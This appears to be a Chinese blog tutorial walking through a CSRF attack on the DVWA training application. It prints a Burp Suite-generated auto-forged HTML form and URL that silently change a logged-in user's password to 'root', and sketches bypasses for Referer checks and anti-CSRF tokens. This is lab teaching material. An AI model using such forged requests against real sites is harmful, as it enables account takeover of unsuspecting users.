【渗透测试-web安全】DVWA-CSRF

【渗透测试-web安全】DVWA-CSRF

  • 一、登录DVWA、设置安全级别为Low、进入CSRF
    • 修改密码
    • 抓包
    • 使用burpsuite右键构造CSRF
    • 打开测试
  • 二、CSRF构造解析
  • 三、防范与破解进阶
    • 进阶防范1
    • 进阶破解之道1
    • 进阶防范2
    • 进阶破解之道2
    • 进阶防范3

一、登录DVWA、设置安全级别为Low、进入CSRF

修改密码

【渗透测试-web安全】DVWA-CSRF_第1张图片

抓包

【渗透测试-web安全】DVWA-CSRF_第2张图片

使用burpsuite右键构造CSRF

	<html>
	  
	  <body>
	  <script>history.pushState('', '', '/')script>
	    <form action="http://localhost/dvwa/vulnerabilities/csrf/">
	      <input type="hidden" name="password_new" value="root" />
	      <input type="hidden" name="password_conf" value="root" />
	      <input type="hidden" name="Change" value="Change" />
	      <input type="submit" value="ChangePassword" />
	    form>
	  body>
	

打开测试

【渗透测试-web安全】DVWA-CSRF_第3张图片
点击修改密码成功:
【渗透测试-web安全】DVWA-CSRF_第4张图片

二、CSRF构造解析

	通过抓包我们知道修改密码使用的是GET请求:

【渗透测试-web安全】DVWA-CSRF_第5张图片
而且对应的网址为:

localhost/dvwa/vulnerabilities/csrf/?password_new=root&password_conf=root&Change=Change
	也就是说任何登录了这个站点的人点击访问构造的这个链接都会将密码改成root
	但是真的有人会点击这个链接吗?这不是侮辱智商
	所以就产生了我们之前的html代码,通过构造html来进行伪装将链接转换成我们无法识别的进行欺骗

三、防范与破解进阶

	之前我们使用的仅仅是Low等级的漏洞利用,

进阶防范1

设置refer请求头,非正常的请求头则拒绝对应的请求。

进阶破解之道1

其实请求头我们在自己构建站点的时候是可以模拟的,只需要将对应的站点根文件夹名称修改为正确的refer名称即可

进阶防范2

增加随机参数user_token这样攻击者在知道其他参数的情况下是无法知道token值的

进阶破解之道2

理论上我们的user_token也是可以暴力破解的(其实真的只是理论上的)

进阶防范3

如果说黑客能够破解对应的user_token那么修改密码的时候我们增加原密码进行校对,至此天衣无缝

你可能感兴趣的:(网络安全,渗透测试,web安全,DVWA,CSRF,网络安全)